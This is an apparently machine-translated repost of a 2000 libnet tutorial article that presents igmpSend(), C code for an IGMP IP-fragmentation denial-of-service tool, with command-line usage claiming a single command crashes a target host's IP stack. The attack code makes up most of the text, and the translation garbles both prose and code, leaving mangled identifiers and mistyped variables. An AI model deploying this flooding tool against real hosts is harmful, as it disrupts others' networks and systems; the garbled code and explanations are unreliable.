Example of LIBNET (10)

zhaozj2021-02-16  67

Title: libnet Example of use (10) Author: small four Home Page: http: //www.nsfocus.com Date: 2000-08-09 Note the igmpSend () part, is actually a sub The film generator, ready to modify, do not send 11 shards each time, allow the user to specify the number of fragmentation, allowing the specified slice size, the front of this program fixed IP fragmentation data area load is 1480, for some MTU For some TCP / IP implementations, it is not necessarily possible. And now the DOS reasons are unknown, just that the attack program can be modified to test is that there is a problem after the reorganization is still too much (even if a single slice is not large). One thing to pay attention, if the happacity is not fast, the number of bags is not enough, it will not be effective in DOS. Yuan Ge judge the goal or has made a certain degree of abnormal treatment, but it is not thorough. In particular, the ID domain of IP fragments in all cycles is consistent, and will not affect the target IP slice reorganization. In addition to the command line, the slice size (in 8bytes is unit), specify the number of fragmentation (in a round of loop, does not include the last fragmentation), and the last fragment is fixed to the 8-byte load.

-------------------------------------------------- ------------------------ Void igmpsend (u_long srcip, u_long dstip) {u_short ipdatalen; u_short frag; u_short bit; bit = 0; ipdatalen = 8 ; / * 8-byte load * / FRAG = fragnumber * fragsize; do {/ * constructs IP head * / libnet_build_ip (ipdatalen, / * IP data area length * / iptos_lowdelay, / * ip TOS * / 19774, / * IP ID * / FRAG | BIT, / * FRAG STUFF * / 255, / * TTL * / ipproto_igmp, / * Upper Protocol * / srcip, / * Big-endian Sequence * / DSTIP, / * Target IP * / NULL, / * No option * / 0, / * Option length zero * / packet); / * Points to IP header * / libnet_write_ip (RawSocket, Packet, Libnet_IP_H ipdatalen); IF (FRAG == 0) {Break;} ipdata = fragsize * 8; bit = 0x2000; / * Non-final fragment * / FRAG - = fragsize; / * is all in 8 bytes * /} while (1 ); / * Total 11 shards send out * / return;} / * end of igmpsend * / --------------------------- ---------------------------------------------- USAGE:. / IGMPKII [- Si Srcip] [- Di Dstip] [--NUM IGMPNUMBER] [--fs fragsize] [--fn fragnumber] ./ IGMPKII - Di 192.168.8.90 - Num 1 --FS 1 - -fn 2000 This command is enough to be a target host's IP protocol stack, indicating that the size of the fragmentation is not important, mainly, the number of fragmented, there is too much DOS.

转载请注明原文地址:https://www.9cbs.com/read-16462.html

New Post(0)